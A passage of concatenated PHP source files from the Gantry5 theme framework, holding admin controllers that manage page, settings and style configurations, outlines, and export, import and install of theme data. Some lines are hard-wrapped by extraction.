use Gantry\Framework\Atoms;
use Gantry\Framework\Services\ConfigServiceProvider;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Page extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index'
],
'POST' => [
'/' => 'save',
'/*' => 'save',
'/*/**' => 'formfield',
'/atoms' => 'undefined',
'/atoms/*' => 'atom',
'/atoms/*/validate' => 'atomValidate'
],
'PUT' => [
'/' => 'save'
],
'PATCH' => [
'/' => 'save'
],
'DELETE' => [
'/' => 'forbidden'
]
];
public function index()
{
$outline = $this->params['outline'];
if ($outline == 'default') {
$this->params['overrideable'] = false;
$data = $this->container['config'];
} else {
$this->params['overrideable'] = true;
$this->params['defaults'] = $defaults =
$this->container['defaults'];
$data = ConfigServiceProvider::load($this->container,
$outline, false, false);
}
$deprecated = $this->getDeprecatedAtoms();
if ($deprecated) {
$data->set('page.head.atoms', $deprecated);
}
if (isset($defaults)) {
$currentAtoms = $data->get('page.head.atoms');
if (!$currentAtoms) {
// Make atoms to appear to be inherited in they are loaded
from defaults.
$defaultAtoms = (array)
$defaults->get('page.head.atoms');
$atoms = (new
Atoms($defaultAtoms))->inheritAll('default')->toArray();
$defaults->set('page.head.atoms', $atoms);
}
}
$this->params += [
'data' => $data,
'page' =>
$this->container['page']->group(),
'route' => "configurations.{$outline}",
'page_id' => $outline,
'atoms' => $this->getAtoms(),
'atoms_deprecated' => $deprecated
];
return
$this->render('@gantry-admin/pages/configurations/page/page.html.twig',
$this->params);
}
public function save($id = null)
{
$data = $id ? [$id => $this->request->post->getArray()]
: $this->request->post->getArray('page');
foreach ($data as $name => $values) {
$this->saveItem($name, $values);
}
// Fire save event.
$event = new Event;
$event->gantry = $this->container;
$event->theme = $this->container['theme'];
$event->controller = $this;
$event->data = $data;
$this->container->fireEvent('admin.page.save',
$event);
return $id ? $this->display($id) : $this->index();
}
public function formfield($id)
{
$path = func_get_args();
$end = end($path);
if ($end === '') {
array_pop($path);
}
if (end($path) == 'validate') {
return call_user_func_array([$this, 'validate'],
$path);
}
// Load blueprints.
$blueprints =
$this->container['page']->getBlueprintForm($id);
list($fields, $path, $value) =
$blueprints->resolve(array_slice($path, 1), '/');
if (!$fields) {
throw new \RuntimeException('Page Not Found', 404);
}
$data =
$this->request->post->getJsonArray('data');
$offset = "page.{$id}." . implode('.', $path);
if ($value !== null) {
$parent = $fields;
$fields = ['fields' =>
$fields['fields']];
$offset .= '.' . $value;
$data = $data ?:
$this->container['config']->get($offset);
$data = ['data' => $data];
$scope = 'data.';
} else {
$data = $data ?:
$this->container['config']->get($offset);
$scope = 'data';
}
$fields['is_current'] = true;
array_pop($path);
$outline = $this->params['outline'];
$configuration = "configurations/{$outline}";
$this->params = [
'configuration' => $configuration,
'blueprints' => $fields,
'data' => $data,
'prefix' => '',
'scope' => $scope,
'parent' => $path
? "$configuration/settings/particles/{$id}/"
. implode('/', $path)
: "$configuration/settings/particles/{$id}",
'route' =>
"configurations.{$outline}.{$offset}",
] + $this->params;
if (isset($parent['key'])) {
$this->params['key'] = $parent['key'];
}
if (isset($parent['value'])) {
$this->params['title'] =
$parent['value'];
}
return
$this->render('@gantry-admin/pages/configurations/settings/field.html.twig',
$this->params);
}
public function validate($particle)
{
$path = implode('.', array_slice(func_get_args(), 1,
-1));
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
// Load particle blueprints.
$validator =
$this->container['particles']->get($particle);
// Create configuration from the defaults.
$data = new Config(
[],
function () use ($validator) {
return $validator;
}
);
$data->join($path,
$this->request->post->getArray('data'));
// TODO: validate
return new JsonResponse(['data' =>
$data->get($path)]);
}
public function atom($name)
{
$outline = $this->params['outline'];
$atoms = Atoms::instance($outline);
$data = $this->request->post['data'];
if ($data) {
$data = json_decode($data, true);
} else {
$data = $this->request->post->getArray();
}
// Create atom and get its blueprint.
$item = $atoms->createAtom($name, $data);
$blueprint = $item->blueprint();
// Load inheritance blueprint.
$inheritance = $atoms->getInheritanceBlueprint($name,
$item->id);
$inheritable = $inheritance &&
$inheritance->get('form/fields/outline/filter', []);
$this->params += [
'inherit' =>
!empty($inherit['outline']) ? $inherit['outline'] :
null,
'inheritance' => $inheritance,
'inheritable' => $inheritable,
'item' => $item,
'data' => ['particles' =>
[$name => $item->attributes]],
'blueprints' => $blueprint,
'parent' => 'settings',
'prefix' => "particles.{$name}.",
'route' =>
"configurations.default.settings",
'action' =>
"configurations/{$outline}/page/atoms/{$name}/validate",
'skip' => ['enabled']
];
return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/atom.html.twig',
$this->params)]);
}
/**
* Validate data for the atom.
*
* @param string $name
* @return JsonResponse
*/
public function atomValidate($name)
{
// Load particle blueprints and default settings.
$validator = new BlueprintSchema;
$validator->embed('options',
$this->container['particles']->get($name));
$blueprints =
$this->container['particles']->getBlueprintForm($name);
// Create configuration from the defaults.
$data = new Config([],
function () use ($validator) {
return $validator;
}
);
$data->set('id',
$this->request->post['id']);
$data->set('type', $name);
$data->set('title',
$this->request->post['title'] ?:
$blueprints->get('name'));
$data->set('attributes',
$this->request->post->getArray("particles.{$name}"));
$data->def('attributes.enabled', 1);
$block =
$this->request->post->getArray('block');
foreach ($block as $key => $param) {
if ($param === '') {
unset($block[$key]);
}
}
$inherit =
$this->request->post->getArray('inherit');
$clone = !empty($inherit['mode']) &&
$inherit['mode'] === 'clone';
$inherit['include'] =
!empty($inherit['include']) ? explode(',',
$inherit['include']) : [];
if (!$clone && !empty($inherit['outline'])
&& count($inherit['include'])) {
unset($inherit['mode']);
$data->join('inherit', $inherit);
}
// TODO: validate
// Fill parameters to be passed to the template file.
$this->params['item'] = (object) $data->toArray();
return new JsonResponse(['item' =>
$data->toArray()]);
}
protected function saveItem($id, $data)
{
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
// Save layout into custom directory for the current theme.
$outline = $this->params['outline'];
// Move atoms out of layout.
if ($id === 'head') {
$layout = Layout::instance($outline);
if (is_array($layout->atoms())) {
$layout->save(false);
}
if (isset($data['atoms'])) {
$atoms = new Atoms($data['atoms']);
$data['atoms'] =
$atoms->update()->toArray();
}
}
$save_dir =
$locator->findResource("gantry-config://{$outline}/page",
true, true);
$filename = "{$save_dir}/{$id}.yaml";
$file = YamlFile::instance($filename);
if (!is_array($data)) {
if ($file->exists()) {
$file->delete();
}
} else {
$blueprints =
$this->container['page']->getBlueprintForm($id);
$config = new Config($data, function () use ($blueprints) {
return $blueprints; });
$file->save($config->toArray());
}
$file->free();
}
protected function getDeprecatedAtoms()
{
$id = $this->params['outline'];
$layout = Layout::instance($id);
return $layout->atoms();
}
protected function getAtoms($onlyEnabled = false)
{
$config = $this->container['config'];
$atoms = $this->container['particles']->all();
$list = [];
foreach ($atoms as $name => $atom) {
$type = isset($atom['type']) ?
$atom['type'] : 'atom';
$atomName = isset($atom['name']) ?
$atom['name'] : $name;
if (!$onlyEnabled ||
$config->get("particles.{$name}.enabled", true)) {
$list[$type][$name] = $atomName;
}
}
return $list['atom'];
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html\Configurations;
use Gantry\Admin\Particles;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\Config;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Services\ConfigServiceProvider;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Settings extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/particles' => 'undefined',
'/particles/*' => 'display',
'/particles/*/**' => 'formfield',
],
'POST' => [
'/' => 'save',
'/particles' => 'forbidden',
'/particles/*' => 'save',
'/particles/*/**' => 'formfield'
],
'PUT' => [
'/' => 'save',
'/particles' => 'forbidden',
'/particles/*' => 'save'
],
'PATCH' => [
'/' => 'save',
'/particles' => 'forbidden',
'/particles/*' => 'save'
],
'DELETE' => [
'/' => 'forbidden',
'/particles' => 'forbidden',
'/particles/*' => 'reset'
]
];
public function index()
{
$outline = $this->params['outline'];
if ($outline === 'default') {
$this->params['overrideable'] = false;
$data = $this->container['config'];
} else {
$this->params['overrideable'] = true;
$this->params['defaults'] =
$this->container['defaults'];
$data = ConfigServiceProvider::load($this->container,
$outline, false, false);
}
/** @var Particles $particles */
$particles = $this->container['particles'];
$this->params += [
'data' => $data,
'particles' =>
$particles->group(['atom']),
'route' =>
"configurations.{$outline}.settings",
'page_id' => $outline
];
return
$this->render('@gantry-admin/pages/configurations/settings/settings.html.twig',
$this->params);
}
public function display($id)
{
$outline = $this->params['outline'];
/** @var Particles $particles */
$particles = $this->container['particles'];
$blueprints = $particles->getBlueprintForm($id);
$prefix = 'particles.' . $id;
if($outline === 'default') {
$this->params['overrideable'] = false;
$data = $this->container['config'];
} else {
$this->params['overrideable'] = true;
$this->params['defaults'] =
$this->container['defaults']->get($prefix);
$data = ConfigServiceProvider::load($this->container,
$outline, false, false);
}
$this->params += [
'scope' => 'particle.',
'particle' => $blueprints,
'data' => ['particle' =>
$data->get($prefix)],
'id' => $id,
'parent' =>
"configurations/{$outline}/settings",
'route' =>
"configurations.{$outline}.settings.{$prefix}",
'skip' => ['enabled']
];
return
$this->render('@gantry-admin/pages/configurations/settings/item.html.twig',
$this->params);
}
public function formfield($id)
{
$path = func_get_args();
$end = end($path);
if ($end === '') {
array_pop($path);
}
if (end($path) === 'validate') {
return call_user_func_array([$this, 'validate'],
$path);
}
/** @var Particles $particles */
$particles = $this->container['particles'];
// Load blueprints.
$blueprints = $particles->getBlueprintForm($id);
list($fields, $path, $value) =
$blueprints->resolve(array_slice($path, 1), '/');
if (!$fields) {
throw new \RuntimeException('Page Not Found', 404);
}
$data =
$this->request->post->getJsonArray('data');
/** @var Config $config */
$config = $this->container['config'];
$offset = "particles.{$id}." . implode('.',
$path);
if ($value !== null) {
$parent = $fields;
$fields = ['fields' =>
$fields['fields']];
$offset .= '.' . $value;
$data = $data ?: $config->get($offset);
$data = ['data' => $data];
$scope = 'data.';
} else {
$data = $data ?: $config->get($offset);
$scope = 'data';
}
$fields['is_current'] = true;
array_pop($path);
$outline = $this->params['outline'];
$configuration = "configurations/{$outline}";
$this->params = [
'configuration' => $configuration,
'blueprints' => $fields,
'data' => $data,
'scope' => $scope,
'parent' => $path
?
"{$configuration}/settings/particles/{$id}/" .
implode('/', $path)
:
"{$configuration}/settings/particles/{$id}",
'route' =>
"configurations.{$outline}.settings.{$offset}",
] + $this->params;
if (isset($parent['key'])) {
$this->params['key'] = $parent['key'];
}
if (isset($parent['value'])) {
$this->params['title'] =
$parent['value'];
}
return
$this->render('@gantry-admin/pages/configurations/settings/field.html.twig',
$this->params);
}
public function validate($particle)
{
$path = implode('.', array_slice(func_get_args(), 1,
-1));
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
/** @var Particles $particles */
$particles = $this->container['particles'];
// Load particle blueprints.
$validator = $particles->get($particle);
// Create configuration from the defaults.
$data = new Config(
[],
function () use ($validator) {
return $validator;
}
);
$data->join($path,
$this->request->post->getArray('data'));
// TODO: validate
return new JsonResponse(['data' =>
$data->get($path)]);
}
public function save($id = null)
{
if (!$this->request->post->get('_end')) {
throw new \OverflowException("Incomplete data received.
Please increase the value of 'max_input_vars' variable (in
php.ini or .htaccess)", 400);
}
$data = $id ? [$id =>
$this->request->post->getArray('particle')] :
$this->request->post->getArray('particles');
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
// Save layout into custom directory for the current theme.
$outline = $this->params['outline'];
$save_dir =
$locator->findResource("gantry-config://{$outline}/particles",
true, true);
foreach ($data as $name => $values) {
$this->saveItem($name, $values, $save_dir);
}
@rmdir($save_dir);
// Fire save event.
$event = new Event;
$event->gantry = $this->container;
$event->theme = $this->container['theme'];
$event->controller = $this;
$event->data = $data;
$this->container->fireEvent('admin.settings.save',
$event);
return $id ? $this->display($id) : $this->index();
}
protected function saveItem($id, $data, $save_dir)
{
$filename = "{$save_dir}/{$id}.yaml";
$file = YamlFile::instance($filename);
if (!is_array($data)) {
if ($file->exists()) {
$file->delete();
}
} else {
/** @var Particles $particles */
$particles = $this->container['particles'];
$blueprints = $particles->getBlueprintForm($id);
$config = new Config($data, function() use ($blueprints) {
return $blueprints; });
$file->save($config->toArray());
}
$file->free();
}
public function reset($id)
{
$this->params += [
'data' => [],
];
return $this->display($id);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html\Configurations;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\Config;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Services\ConfigServiceProvider;
use Gantry\Framework\Theme;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Styles extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/blocks' => 'undefined',
'/blocks/*' => 'display',
'/blocks/*/**' => 'formfield'
],
'POST' => [
'/' => 'save',
'/blocks' => 'forbidden',
'/blocks/*' => 'save',
'/compile' => 'compile'
],
'PUT' => [
'/' => 'save',
'/blocks' => 'forbidden',
'/blocks/*' => 'save'
],
'PATCH' => [
'/' => 'save',
'/blocks' => 'forbidden',
'/blocks/*' => 'save'
],
'DELETE' => [
'/' => 'forbidden',
'/blocks' => 'forbidden',
'/blocks/*' => 'reset'
]
];
public function index()
{
$outline = $this->params['outline'];
if($outline == 'default') {
$this->params['overrideable'] = false;
$this->params['data'] =
$this->container['config'];
} else {
$this->params['overrideable'] = true;
$this->params['defaults'] =
$this->container['defaults'];
$this->params['data'] =
ConfigServiceProvider::load($this->container, $outline, false, false);
}
$this->params['blocks'] =
$this->container['styles']->group();
$this->params['route'] =
"configurations.{$outline}.styles";
return
$this->render('@gantry-admin/pages/configurations/styles/styles.html.twig',
$this->params);
}
public function display($id)
{
$outline = $this->params['outline'];
$blueprints =
$this->container['styles']->getBlueprintForm($id);
$prefix = 'styles.' . $id;
if($outline == 'default') {
$this->params['overrideable'] = false;
$this->params['data'] =
$this->container['config']->get($prefix);
} else {
$this->params['overrideable'] = true;
$this->params['defaults'] =
$this->container['defaults']->get($prefix);
$this->params['data'] =
ConfigServiceProvider::load($this->container, $outline, false,
false)->get($prefix);
}
$this->params += [
'block' => $blueprints,
'id' => $id,
'parent' =>
"configurations/{$outline}/styles",
'route' =>
"configurations.{$outline}.styles.{$prefix}",
'skip' => ['enabled']
];
return
$this->render('@gantry-admin/pages/configurations/styles/item.html.twig',
$this->params);
}
public function formfield($id)
{
$path = func_get_args();
$outline = $this->params['outline'];
// Load blueprints.
$blueprints =
$this->container['styles']->getBlueprintForm($id);
list($fields, $path, $value) =
$blueprints->resolve(array_slice($path, 1), '/');
if (!$fields) {
throw new \RuntimeException('Page Not Found', 404);
}
$fields['is_current'] = true;
// Get the prefix.
$prefix = "styles.{$id}." . implode('.',
$path);
if ($value !== null) {
$parent = $fields;
$fields = ['fields' =>
$fields['fields']];
$prefix .= '.' . $value;
}
array_pop($path);
if($outline == 'default') {
$this->params['overrideable'] = false;
$this->params['data'] =
$this->container['config']->get($prefix);
} else {
$this->params['overrideable'] = true;
$this->params['defaults'] =
$this->container['defaults']->get($prefix);
$this->params['data'] =
ConfigServiceProvider::load($this->container, $outline, false,
false)->get($prefix);
}
$this->params = [
'blueprints' => $fields,
'parent' => $path
?
"configurations/{$outline}/styles/blocks/{$id}/" .
implode('/', $path)
:
"configurations/{$outline}/styles/blocks/{$id}",
'route' => 'styles.' . $prefix
] + $this->params;
if (isset($parent['key'])) {
$this->params['key'] = $parent['key'];
}
return
$this->render('@gantry-admin/pages/configurations/styles/field.html.twig',
$this->params);
}
public function reset($id)
{
$this->params += [
'data' => [],
];
return $this->display($id);
}
public function compile()
{
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
$warnings = $this->compileSettings();
if ($warnings) {
$this->params += ['warnings' => $warnings];
return new JsonResponse(
[
'html' =>
$this->render('@gantry-admin/layouts/css-warnings.html.twig',
$this->params),
'warning' => true,
'title' => 'CSS Compiled With
Warnings',
]
);
} else {
return new JsonResponse(['html' => 'The CSS
was successfully compiled', 'title' => 'CSS
Compiled']);
}
}
public function save($id = null)
{
/** @var Config $config */
$config = $this->container['config'];
if ($id) {
$data = (array) $config->get('styles');
$data[$id] = $this->request->post->getArray();
} else {
$data =
$this->request->post->getArray('styles');
}
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
// Save layout into custom directory for the current theme.
$outline = $this->params['outline'];
$save_dir =
$locator->findResource("gantry-config://{$outline}", true,
true);
$filename = "{$save_dir}/styles.yaml";
$file = YamlFile::instance($filename);
$file->save($data);
$file->free();
// Fire save event.
$event = new Event;
$event->gantry = $this->container;
$event->theme = $this->container['theme'];
$event->controller = $this;
$event->data = $data;
$this->container->fireEvent('admin.styles.save',
$event);
// Compile CSS.
$warnings = $this->compileSettings();
if (empty($this->params['ajax'])) {
// FIXME: HTML request: Output compiler warnings!!
return $id ? $this->display($id) : $this->index();
}
if ($warnings) {
$this->params += ['warnings' => $warnings];
return new JsonResponse(
[
'html' =>
$this->render('@gantry-admin/layouts/css-warnings.html.twig',
$this->params),
'warning' => true,
'title' => 'CSS Compiled With
Warnings',
]
);
} else {
return new JsonResponse(['html' => 'The CSS
was successfully compiled', 'title' => 'CSS
Compiled']);
}
}
/**
* @returns array
*/
protected function compileSettings()
{
/** @var Theme $theme */
$theme = $this->container['theme'];
$outline = $this->params['outline'];
return $theme->updateCss($outline !== 'default' ?
[$outline => ucfirst($outline)] : null);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Response\RedirectResponse;
use Gantry\Component\Response\Response;
use Gantry\Component\Layout\Layout as LayoutObject;
use Gantry\Framework\Outlines as OutlinesObject;
class Configurations extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/*' => 'forward',
'/*/delete' =>
'confirmDeletion',
'/*/**' => 'forward',
],
'POST' => [
'/' => 'undefined',
'/*' => 'undefined',
'/create' => 'createForm',
'/create/new' => 'create',
'/*/rename' => 'rename',
'/*/duplicate' => 'duplicateForm',
'/*/duplicate/new' => 'duplicate',
'/*/delete' => 'undefined',
'/*/delete/confirm' => 'delete',
'/*/**' => 'forward',
],
'PUT' => [
'/' => 'undefined',
'/**' => 'forward'
],
'PATCH' => [
'/' => 'undefined',
'/**' => 'forward'
]
];
public function index()
{
return
$this->render('@gantry-admin/pages/configurations/configurations.html.twig',
$this->params);
}
public function createForm()
{
if (!$this->authorize('outline.create')) {
$this->forbidden();
}
$params = [
'presets' => LayoutObject::presets(),
'outlines' =>
$this->container['outlines']
];
$response = ['html' =>
$this->render('@gantry-admin/ajax/outline-new.html.twig',
$params)];
return new JsonResponse($response);
}
public function create()
{
// Check if we want to duplicate outline instead.
if ($this->request->post['from'] ===
'outline') {
return
$this->duplicate($this->request->post['outline']);
}
if (!$this->authorize('outline.create')) {
$this->forbidden();
}
/** @var OutlinesObject $outlines */
$outlines = $this->container['outlines'];
$title = $this->request->post['title'];
$preset = $this->request->post['preset'];
$id = $outlines->create(null, $title, $preset);
$html =
$this->render('@gantry-admin/layouts/outline.html.twig',
['name' => $id, 'title' => $outlines[$id]]);
return new JsonResponse(['html' => 'Outline
created.', 'id' => "outline-{$id}",
'outline' => $html]);
}
public function rename($outline)
{
if (!$this->authorize('outline.rename')) {
$this->forbidden();
}
/** @var OutlinesObject $outlines */
$outlines = $this->container['outlines'];
$title = $this->request->post['title'];
$id = $outlines->rename($outline, $title);
$html =
$this->render('@gantry-admin/layouts/outline.html.twig',
['name' => $id, 'title' => $outlines[$id]]);
return new JsonResponse(['html' => 'Outline
renamed.', 'id' => "outline-{$outline}",
'outline' => $html]);
}
public function duplicateForm($outline)
{
if (!$this->authorize('outline.create')) {
$this->forbidden();
}
$params = [
'outlines' =>
$this->container['outlines'],
'outline' => $outline,
'duplicate' => true
];
$response = ['html' =>
$this->render('@gantry-admin/ajax/outline-new.html.twig',
$params)];
return new JsonResponse($response);
}
public function duplicate($outline)
{
if (!$this->authorize('outline.create')) {
$this->forbidden();
}
/** @var OutlinesObject $outlines */
$outlines = $this->container['outlines'];
$title = $this->request->post['title'];
$inherit =
in_array($this->request->post['inherit'], ['1',
'true']);
$id = $outlines->duplicate($outline, $title, $inherit);
$html =
$this->render('@gantry-admin/layouts/outline.html.twig',
['name' => $id, 'title' => $outlines[$id]]);
return new JsonResponse(['html' => 'Outline
duplicated.', 'id' => $id, 'outline' =>
$html]);
}
public function delete($outline)
{
if (!$this->authorize('outline.delete')) {
$this->forbidden();
}
/** @var OutlinesObject $outlines */
$outlines = $this->container['outlines'];
$list = $outlines->user();
if (!isset($list[$outline])) {
$this->forbidden();
}
$outlines->delete($outline);
return new JsonResponse(['html' => 'Outline
deleted.', 'outline' => $outline]);
}
/**
* @return JsonResponse
*/
public function confirmDeletion($id)
{
/** @var OutlinesObject $outlines */
$outlines = $this->container['outlines'];
$params = [
'id' => $id,
'page_type' => 'OUTLINE',
'outline' => $outlines->title($id),
'inherited' =>
$outlines->getInheritingOutlines($id)
];
$html =
$this->render('@gantry-admin/pages/configurations/confirm-deletion.html.twig',
$params);
return new JsonResponse(['html' => $html]);
}
/**
* @return HtmlResponse|RedirectResponse|JsonResponse
*/
public function forward()
{
$path = func_get_args();
$outline = array_shift($path);
$page = array_shift($path);
$method = $this->params['method'];
if ((!isset($outline) || !isset($page)) &&
$this->params['format'] !== 'json') {
// Redirect path to the styles page of the selected outline.
return new
RedirectResponse($this->container->route('configurations',
is_string($outline) ? $outline : 'default', 'styles'));
}
$outlines = $this->container['outlines'];
if (!isset($outlines[$outline])) {
throw new \RuntimeException('Outline not found.',
404);
}
$this->container['outline'] = $outline;
$this->container['configuration'] = $outline;
$resource = $this->params['location'] . '/'.
$page;
$this->params['outline'] = $outline;
$this->params['configuration'] = $outline;
$this->params['location'] = $resource;
$this->params['configuration_page'] = $page;
$this->params['navbar'] =
!empty($this->request->get['navbar']);
return $this->executeForward($resource, $method, $path,
$this->params);
}
protected function executeForward($resource, $method = 'GET',
$path, $params = [])
{
$class = '\\Gantry\\Admin\\Controller\\Html\\' .
strtr(ucwords(strtr($resource, '/', ' ')), '
', '\\');
if (!class_exists($class)) {
throw new \RuntimeException('Page not found', 404);
}
/** @var HtmlController $controller */
$controller = new $class($this->container);
// Execute action.
$response = $controller->execute($method, $path, $params);
if (!$response instanceof Response) {
$response = new HtmlResponse($response);
}
return $response;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Framework\Exporter;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Symfony\Component\Yaml\Yaml;
class Export extends HtmlController
{
public function index()
{
if (!class_exists('Gantry\Framework\Exporter')) {
$this->forbidden();
}
if (!class_exists('ZipArchive')) {
throw new \RuntimeException('Please enable PHP ZIP
extension to use this feature.');
}
$exporter = new Exporter;
$exported = $exporter->all();
$zipname =
$exported['export']['theme']['name'] .
'-export.zip';
$tmpname = tempnam(sys_get_temp_dir(), 'zip');
$zip = new \ZipArchive();
$zip->open($tmpname, \ZipArchive::CREATE);
$zip->addFromString("export.yaml",
Yaml::dump($exported['export'], 10, 2));
unset($exported['export']);
foreach ($exported['positions'] as $key => $position)
{
foreach ($position['items'] as $module => $data) {
$zip->addFromString("positions/{$key}/{$module}.yaml",
Yaml::dump($data, 10, 2));
}
$position['ordering'] =
array_keys($position['items']);
unset($position['items']);
$zip->addFromString("positions/{$key}.yaml",
Yaml::dump($position, 10, 2));
}
foreach ($exported['outlines'] as $outline =>
&$data) {
if (!empty($data['config'])) {
foreach ($data['config'] as $name => $config)
{
if (in_array($name, ['particles',
'page'])) {
foreach ($config as $sub => $subconfig) {
$zip->addFromString("outlines/{$outline}/{$name}/{$sub}.yaml",
Yaml::dump($subconfig, 10, 2));
}
} else {
$zip->addFromString("outlines/{$outline}/{$name}.yaml",
Yaml::dump($config, 10, 2));
}
}
}
unset($data['config']);
}
$zip->addFromString("outlines/outlines.yaml",
Yaml::dump($exported['outlines'], 10, 2));
foreach ($exported['menus'] as $menu => $data) {
$zip->addFromString("menus/{$menu}.yaml",
Yaml::dump($data, 10, 2));
}
foreach ($exported['content'] as $id => $data) {
$zip->addFromString("content/{$id}.yaml",
Yaml::dump($data, 10, 2));
}
if (!empty($exported['categories'])) {
$zip->addFromString("content/categories.yaml",
Yaml::dump($exported['categories'], 10, 2));
}
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
foreach ($exported['files'] as $stream => $files) {
foreach ($files as $path => $uri) {
$filename = $locator->findResource($uri);
if (file_exists($filename)) {
$zip->addFile($filename,
"files/{$stream}/{$path}");
}
}
}
$zip->close();
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename=' .
$zipname);
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($tmpname));
@ob_end_clean();
flush();
readfile($tmpname);
unlink($tmpname);
exit;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Importer;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Symfony\Component\Yaml\Yaml;
class Import extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
],
'POST' => [
'/' => 'import',
]
];
public function index()
{
return
$this->render('@gantry-admin/pages/import/import.html.twig',
$this->params);
}
public function import()
{
if (!isset($_FILES['file']['error']) ||
is_array($_FILES['file']['error'])) {
throw new \RuntimeException('No file sent', 400);
}
// Check $_FILES['file']['error'] value.
switch ($_FILES['file']['error']) {
case UPLOAD_ERR_OK:
break;
case UPLOAD_ERR_NO_FILE:
throw new \RuntimeException('No file sent', 400);
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
throw new \RuntimeException('Exceeded filesize
limit.', 400);
default:
throw new \RuntimeException('Unkown errors',
400);
}
$filename = $_FILES['file']['tmp_name'];
if (!is_uploaded_file($filename)) {
throw new \RuntimeException('No file sent', 400);
}
$zip = new \ZipArchive;
if ($zip->open($filename) !== true || !($export =
Yaml::parse($zip->getFromName('export.yaml'))) ||
!isset($export['gantry'])) {
throw new \RuntimeException('Uploaded file is not Gantry 5
export file', 400);
}
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$folder =
$locator->findResource('gantry-cache://import', true, true);
if (is_dir($folder)) Folder::delete($folder);
$zip->extractTo($folder);
$zip->close();
$importer = new Importer($folder);
$importer->all();
if (is_dir($folder)) Folder::delete($folder);
$this->params['success'] = true;
return
$this->render('@gantry-admin/pages/import/import.html.twig',
$this->params);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Framework\ThemeInstaller;
class Install extends HtmlController
{
public function index()
{
if (!$this->authorize('updates.manage') ||
!class_exists('\Gantry\Framework\ThemeInstaller')) {
$this->forbidden();
}
$installer = new ThemeInstaller();
$installer->initialized = true;
$installer->loadExtension($this->container['theme.name']);
$installer->installDefaults();
$installer->installSampleData();
$installer->finalize();
$this->params['actions'] = $installer->actions;
return
$this->render('@gantry-admin/pages/install/install.html.twig',
$this->params);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
